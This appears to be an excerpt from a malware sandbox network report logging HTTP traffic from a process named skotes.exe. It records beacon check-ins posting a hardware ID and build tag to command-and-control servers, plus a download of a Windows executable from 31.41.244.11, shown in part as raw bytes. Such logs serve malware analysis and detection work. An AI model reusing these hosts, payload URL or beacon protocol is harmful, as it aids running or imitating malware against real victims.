Dec 27, 2024 08:45:29.732469082 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 38 34 33 36 45 42 44 41 33 43 45 32 39 31 34 36 34 38 33 37 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="hwid"58436EBDA3CE2914648374------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="build"stok------HJDHCFCBGIDGHJJKJJDG--
Dec 27, 2024 08:45:30.182790041 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:45:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49783	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:04.381948948 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:46:05.758505106 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49789	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:07.397975922 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 42 37 33 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52B73B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 08:46:08.782200098 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49800	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:10.534112930 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:46:11.968027115 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49806	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:13.603100061 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 42 37 33 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52B73B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 08:46:15.048968077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49815	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:16.803716898 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:46:18.226769924 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49823	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:19.906183004 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 42 37 33 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52B73B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 08:46:21.354167938 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49828	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:23.096126080 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:46:24.482971907 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49838	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:26.111634016 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 42 37 33 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52B73B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 08:46:27.497795105 CET	315	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 64 0d 0a 20 3c 63 3e 31 30 32 34 30 37 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 31 37 36 38 32 34 32 35 65 61 37 34 33 66 30 35 66 34 31 35 65 34 33 39 31 64 66 65 31 35 37 61 30 61 63 64 61 35 34 32 31 65 65 33 31 32 35 66 38 30 63 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7d <c>1024077001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd17682425ea743f05f415e4391dfe157a0acda5421ee3125f80c#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49839	31.41.244.11	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:27.621531010 CET	70	OUT	GET /files/zipcryptservice/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 27, 2024 08:46:29.127779961 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:28 GMT Content-Type: application/octet-stream Content-Length: 2282496 Last-Modified: Wed, 25 Dec 2024 11:57:28 GMT Connection: keep-alive ETag: "676bf328-22d400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 44 d8 fe 65 00 b9 90 36 00 b9 90 36 00 b9 90 36 14 d2 95 37 01 b9 90 36 14 d2 93 37 02 b9 90 36 14 d2 94 37 12 b9 90 36 14 d2 91 37 11 b9 90 36 00 b9 91 36 a0 b9 90 36 14 d2 98 37 0a b9 90 36 14 d2 6f 36 01 b9 90 36 14 d2 92 37 01 b9 90 36 52 69 63 68 00 b9 90 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f8 c4 1b ae 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 14 00 7c 00 00 00 54 22 00 00 00 00 00 00 82 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 23 00 00 04 00 00 54 13 23 00 02 00 60 c1 00 00 08 00 00 00 00 00 00 20 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$De666767676766676o6676Rich6PEd"\|T"@0#T#` <"" # T( .text{\| `.rdata"$@@.data@.pdata@@.rsrc0"$"@@.reloc #"@B
Dec 27, 2024 08:46:29.127801895 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc cc cc cc 45 33 c9 48 8d 42 ff 41 ba fe ff ff 7f 41 bb 57 00 Data Ascii: E3HBAAWI;EGExGHt"L+L+IHtAtHHuHHAHEHEAAzHtAE3LMHAWIBH=EGE
Dec 27, 2024 08:46:29.127883911 CET	1236	IN	Data Raw: 78 35 49 8b ca 48 8b c2 4d 85 d2 74 0e 80 38 00 74 09 48 ff c0 48 83 e9 01 75 f2 48 8b c1 48 f7 d8 45 1b c9 41 f7 d1 45 23 c8 48 85 c9 74 08 4d 8b c2 4c 2b c1 eb 03 45 33 c0 45 85 c9 78 58 49 8b ca 49 8d 14 10 49 2b c8 74 2e 48 8b c1 4d 8d 88 fe Data Ascii: x5IHMt8tHHuHHEAE#HtML+E3ExXIII+t.HMI+LL+MtAtIHHuHHBHEHEAAzALD$LL$ SVWH 3HBH=HWGx;HZHHLL$X3HDxH
Dec 27, 2024 08:46:29.127995014 CET	1236	IN	Data Raw: b9 00 02 00 00 c6 44 24 20 00 8b d7 48 ff 15 a2 7f 00 00 0f 1f 44 00 00 4c 8d 44 24 20 ba 3f 08 00 00 48 8b cb 48 ff 15 b1 7f 00 00 0f 1f 44 00 00 83 c9 ff 48 ff 15 92 7f 00 00 0f 1f 44 00 00 b8 01 00 00 00 48 8b 8c 24 20 02 00 00 48 33 cc e8 a0 Data Ascii: D$ HDLD$ ?HHDHDH$ H3nH$HH0_H\$Hl$Ht$WH HHH3@8+tjHHfHuHHfHuH?tHHfHtHcH8tHH\$0Hl$8H
Dec 27, 2024 08:46:29.128010035 CET	1236	IN	Data Raw: 48 ff 15 a2 77 00 00 0f 1f 44 00 00 83 f8 02 75 6b 48 8d 35 d1 a6 00 00 48 8b c3 48 ff c0 44 38 2c 06 75 f7 48 8d 4c 24 40 48 ff c3 44 38 2c 19 75 f7 48 8d 3c 18 b9 40 00 00 00 48 8d 57 08 48 ff 15 33 79 00 00 0f 1f 44 00 00 48 8b d8 48 85 c0 75 Data Ascii: HwDukH5HHD8,uHL$@HD8,uH<@HWH3yDHHuE3E3NLL$@LHWH@HxDHHtHL$@HwDt}uyLD$@H`L+H`HHtBtHHuHHA
Dec 27, 2024 08:46:29.128053904 CET	672	IN	Data Raw: 15 a0 74 00 00 0f 1f 44 00 00 48 8b f8 48 85 c0 75 59 21 44 24 28 45 33 c9 45 33 c0 c7 44 24 20 10 00 00 00 ba b5 04 00 00 33 c9 e8 79 2e 00 00 eb 23 48 8b 0d 14 bf 00 00 48 8d 54 24 60 44 8b c6 48 ff 15 85 74 00 00 0f 1f 44 00 00 85 c0 0f 85 70 Data Ascii: tDHHuY!D$(E3E3D$ 3y.#HHT$`DHtDpHL$PHrDALl$ LzLL$`EHHHLEH<uHL$PHA\$(E3H\|$ HdqDHL$PHqDHH\r
Dec 27, 2024 08:46:29.128076077 CET	1236	IN	Data Raw: 00 0f 1f 44 00 00 48 8d 4d 60 48 ff 15 4c 70 00 00 0f 1f 44 00 00 48 8d 54 24 20 48 8b ce 48 ff 15 f0 71 00 00 0f 1f 44 00 00 85 c0 0f 85 09 ff ff ff 48 8b ce 48 ff 15 81 72 00 00 0f 1f 44 00 00 48 8b cf 48 ff 15 6a 70 00 00 0f 1f 44 00 00 48 8b Data Ascii: DHM`HLpDHT$ HHqDHHrDHHjpDHpH3NbL$I[(Is0IA__]H\$WH@HH3H$0HL$ 3HoDtjLPuHL$ YLL$ E333HoDS@HL$ H
Dec 27, 2024 08:46:29.128089905 CET	1236	IN	Data Raw: 84 41 01 00 00 41 80 fe 57 0f 84 21 01 00 00 4c 8d 05 3b 71 00 00 c7 44 24 34 04 01 00 00 48 8d 44 24 40 ba 04 01 00 00 4c 2b c0 48 8d 4c 24 40 48 8d 82 fa fe ff 7f 48 85 c0 74 12 41 8a 04 08 84 c0 74 0a 88 01 49 03 cf 49 2b d7 75 e2 48 85 d2 48 Data Ascii: AAW!L;qD$4HD$@L+HL$@HHtAtII+uHHALHEHL$@@8THD$8AE3HD$ HT$@HHjDHL$8HD$4HD$(LL$0E3H\$ HoHjDuID$0u9AHT$@HH7l
Dec 27, 2024 08:46:29.128102064 CET	448	IN	Data Raw: 00 00 77 0f 48 8b d6 48 2b d3 48 81 c2 00 04 00 00 eb 02 33 d2 4c 8d 44 24 20 48 8b cb e8 7b e4 ff ff 49 8b c7 48 ff c0 80 3c 03 00 75 f7 eb 51 48 0f be 0f 48 ff 15 ba 69 00 00 0f 1f 44 00 00 3c 45 75 42 48 3b de 72 1d 48 8b c3 48 2b c6 48 3d 00 Data Ascii: wHH+H3LD$ H{IH<uQHHiD<EuBH;rHH+H=wHH+H3LD$ H(IH<uH?#uHH(iDHHHiDHH$0H39XH$xH@A__^H\$Ht$
Dec 27, 2024 08:46:29.128117085 CET	1236	IN	Data Raw: 74 52 40 f6 c7 04 75 2b c7 44 24 28 04 00 00 00 4c 8d 05 be 69 00 00 45 33 c9 c7 44 24 20 40 00 00 00 ba 22 05 00 00 33 c9 e8 73 20 00 00 83 f8 06 75 21 66 39 35 13 b1 00 00 75 13 33 d2 8d 4a 02 48 ff 15 dd 67 00 00 0f 1f 44 00 00 eb 05 e8 8d ee Data Ascii: tR@u+D$(LiE3D$ @"3s u!f95u3JHgDHHtHdDH\$@Ht$HH0_H\$VWAVHPH=H3H$@HHH3HtA3]3HA,\3HA
Dec 27, 2024 08:46:29.247538090 CET	1236	IN	Data Raw: 15 4c 60 00 00 0f 1f 44 00 00 85 c0 75 4d ba f0 04 00 00 45 33 c9 89 7c 24 28 45 33 c0 c7 44 24 20 10 00 00 00 33 c9 e8 a1 1b 00 00 e8 d0 44 00 00 89 05 0e a3 00 00 33 c0 48 8b 8c 24 50 02 00 00 48 33 cc e8 28 52 00 00 48 8b 9c 24 70 02 00 00 48 Data Ascii: L`DuME3\|$(E3D$ 3D3H$PH3(RH$pH`_H$@D5:tHH`Du9=uH(H@ HuXu9u0L8H\|$(H\|$ HE3H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49860	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:35.677922964 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 32 34 30 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1024077001&unit=246122658369
Dec 27, 2024 08:46:37.112957001 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49866	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:38.865326881 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:46:40.254770994 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49876	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:41.969877005 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 42 37 33 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52B73B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 08:46:43.401107073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49883	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:45.142965078 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:46:46.520019054 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49890	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:48.146135092 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 42 37 33 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52B73B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 08:46:49.590609074 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49900	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:51.361669064 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:46:52.755784988 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49906	185.215.113.43	80	2992	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:46:54.393091917 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 42 37 33 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52B73B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
